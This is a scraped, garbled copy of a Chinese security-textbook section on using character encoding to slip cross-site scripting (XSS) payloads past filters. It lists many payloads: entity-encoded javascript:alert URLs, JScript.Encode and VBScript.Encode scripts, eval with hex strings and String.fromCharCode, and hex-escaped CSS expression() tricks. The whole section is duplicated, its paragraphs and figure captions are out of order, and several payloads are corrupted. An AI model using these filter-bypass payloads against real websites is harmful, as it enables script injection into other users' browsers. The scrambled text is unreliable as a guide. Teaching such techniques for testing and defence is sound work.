利用字符编码
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
类似地,也能采用十六进制编码形式 :
<img src="javascript:aler&#x 74('XSS');"> <img src="java& #x73;cript:a&# x6c;ert('XSS');"> <img src="javascri&# x000070t:alert(� 00027XSS');">
完整的 XSS Expliot 如下:
<img src="javascript:alert 0'XSS');">
把以上代码保存在一个 HTM L 文档中,使用浏览器打开,脚本代码执行完成,如图 1-42 所 示。
1.5.2 利用字符编码
字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让 XSS 代码绕过服务端的过滤, 还能更好地隐藏 Shellcode。
如前文所述,HTM L 标签中的某些属性值可以使用&#ASCII 方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。
为了方便测试,我们接下来使用一个 XSS 编码工具,以便对字符串进行十进制和十六进制 的编码解码,该工具还可以实现 ESCAPE 转码和解码,如图 1-41 所示。
▲图 1-44 使用 JScript Encode 加密
执行结果如图 1-45 所示。
▲图 1-45 编码加密后 XSS 代码
以“<img src="javascript:alert('XSS');">”为例,它的属性值为:
javascript:alert('XSS');
进行十进制转码(&#)后得到:
javascript:alert(' XSS');
JavaScript 支持 unicode、escapes、十六进制、八进制等编码形式,这Baidu Nhomakorabea编码技术如果运用于 跨站攻击,无疑能大大加强 XSS 的威力。
下面再讲解一些其他编码/加密技术——JScript Encode 和 VBScript Encode。 Microsoft 提供了脚本加密(Script Encoder)机制,可以对脚本进行加密,包括 JScript 和 VBScript,经过加密的脚本,能在 IE 下正常运行,在其他浏览器下则不识别。 如 alert(1)使用 JScript Encode 加密的结果为:
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> <iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@> <iframe onload=VBScript.Encode:#@~^CAAAAA== \ko$K6,FoQIAAA==^#~@> <iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
style 属性中的 javascript、expression 等字符一般会被程序过滤,但经过十六进制编码后则可 以逃避过滤。
下面是其他利用字符编码绕过过滤规 则的示 例:
<div style="xss:expression(alert(1));" ></div>
结合使用 eval()和 String.fro mCharCode()函数后变成:
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
此外, 样式 表也支 持分 析和 解释\连 接的十 六进 制字 符串形 式, 浏览 器能正 常解 释, 示例如 下:
▲图 1-41 XSS 编码工具
▲图 1-42 对 XSS 代码进行编码
还可以在每个十进制字符后加上;,或者采用 �、�、�、�、�、&# 00;、 �、� 等形式,如下所示:
<img src="javascript:ale ;rt('XSS');"> <img src="javascript:a ;lert('XSS')&059;"> <img src="javascri&# 0000112t:alert ( 9XSS');">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经 XSS Expliot 后变为:
<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
此段代码在 IE 中执行的效果如图 1-44 所示。 同样,我们可以使用 VBScript.Encode 来执行类似任务,请看下面的例子:
另外,在 JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript
代码,如下所示:
<script> eval("alert('XSS')"); </script>
我们可以使用\连接十六进制字符串,然后使用 eval()函数执行十六进制字符串形式的脚本, 如对 alert('XSS')进行十六进制转码后得到:
<style> BODY { background: url(http://127.0.0.1/xss.gif) } </style>
可以对 background 的属性值进行十六进制字符串形式转换:
<style> BODY { background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 } </style>
▲图 1-43 利用 eval()执行代码
eval() 也 可以 执行 10 进制 形 式的 脚本 , 但需 要配 合 String.fro mCharCode()函 数使 用。 string.formcharcode()用于将字符转为 ASCII 值,例如一个正常形式的 XSS 示例为:
<img src="javascript:eval(alert('XSS'))">
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的 XSS 代码为:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
这段代码能让浏览器弹出一个 XSS 对话框,如图 1-43 所示。
<img STYLE="background-image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\2 9"> <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">
更为复杂的 XSS 转码如下:
<div style="\000000000000000000000078\000000000000000000000073s:e\xp/ *jnv*/ \0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div>
<img src="javascript:aler&#x 74('XSS');"> <img src="java& #x73;cript:a&# x6c;ert('XSS');"> <img src="javascri&# x000070t:alert(� 00027XSS');">
完整的 XSS Expliot 如下:
<img src="javascript:alert 0'XSS');">
把以上代码保存在一个 HTM L 文档中,使用浏览器打开,脚本代码执行完成,如图 1-42 所 示。
1.5.2 利用字符编码
字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让 XSS 代码绕过服务端的过滤, 还能更好地隐藏 Shellcode。
如前文所述,HTM L 标签中的某些属性值可以使用&#ASCII 方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。
为了方便测试,我们接下来使用一个 XSS 编码工具,以便对字符串进行十进制和十六进制 的编码解码,该工具还可以实现 ESCAPE 转码和解码,如图 1-41 所示。
▲图 1-44 使用 JScript Encode 加密
执行结果如图 1-45 所示。
▲图 1-45 编码加密后 XSS 代码
以“<img src="javascript:alert('XSS');">”为例,它的属性值为:
javascript:alert('XSS');
进行十进制转码(&#)后得到:
javascript:alert(' XSS');
JavaScript 支持 unicode、escapes、十六进制、八进制等编码形式,这Baidu Nhomakorabea编码技术如果运用于 跨站攻击,无疑能大大加强 XSS 的威力。
下面再讲解一些其他编码/加密技术——JScript Encode 和 VBScript Encode。 Microsoft 提供了脚本加密(Script Encoder)机制,可以对脚本进行加密,包括 JScript 和 VBScript,经过加密的脚本,能在 IE 下正常运行,在其他浏览器下则不识别。 如 alert(1)使用 JScript Encode 加密的结果为:
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> <iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@> <iframe onload=VBScript.Encode:#@~^CAAAAA== \ko$K6,FoQIAAA==^#~@> <iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
style 属性中的 javascript、expression 等字符一般会被程序过滤,但经过十六进制编码后则可 以逃避过滤。
下面是其他利用字符编码绕过过滤规 则的示 例:
<div style="xss:expression(alert(1));" ></div>
结合使用 eval()和 String.fro mCharCode()函数后变成:
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
此外, 样式 表也支 持分 析和 解释\连 接的十 六进 制字 符串形 式, 浏览 器能正 常解 释, 示例如 下:
▲图 1-41 XSS 编码工具
▲图 1-42 对 XSS 代码进行编码
还可以在每个十进制字符后加上;,或者采用 �、�、�、�、�、&# 00;、 �、� 等形式,如下所示:
<img src="javascript:ale ;rt('XSS');"> <img src="javascript:a ;lert('XSS')&059;"> <img src="javascri&# 0000112t:alert ( 9XSS');">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经 XSS Expliot 后变为:
<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
此段代码在 IE 中执行的效果如图 1-44 所示。 同样,我们可以使用 VBScript.Encode 来执行类似任务,请看下面的例子:
另外,在 JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript
代码,如下所示:
<script> eval("alert('XSS')"); </script>
我们可以使用\连接十六进制字符串,然后使用 eval()函数执行十六进制字符串形式的脚本, 如对 alert('XSS')进行十六进制转码后得到:
<style> BODY { background: url(http://127.0.0.1/xss.gif) } </style>
可以对 background 的属性值进行十六进制字符串形式转换:
<style> BODY { background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 } </style>
▲图 1-43 利用 eval()执行代码
eval() 也 可以 执行 10 进制 形 式的 脚本 , 但需 要配 合 String.fro mCharCode()函 数使 用。 string.formcharcode()用于将字符转为 ASCII 值,例如一个正常形式的 XSS 示例为:
<img src="javascript:eval(alert('XSS'))">
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的 XSS 代码为:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
这段代码能让浏览器弹出一个 XSS 对话框,如图 1-43 所示。
<img STYLE="background-image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\2 9"> <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">
更为复杂的 XSS 转码如下:
<div style="\000000000000000000000078\000000000000000000000073s:e\xp/ *jnv*/ \0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div>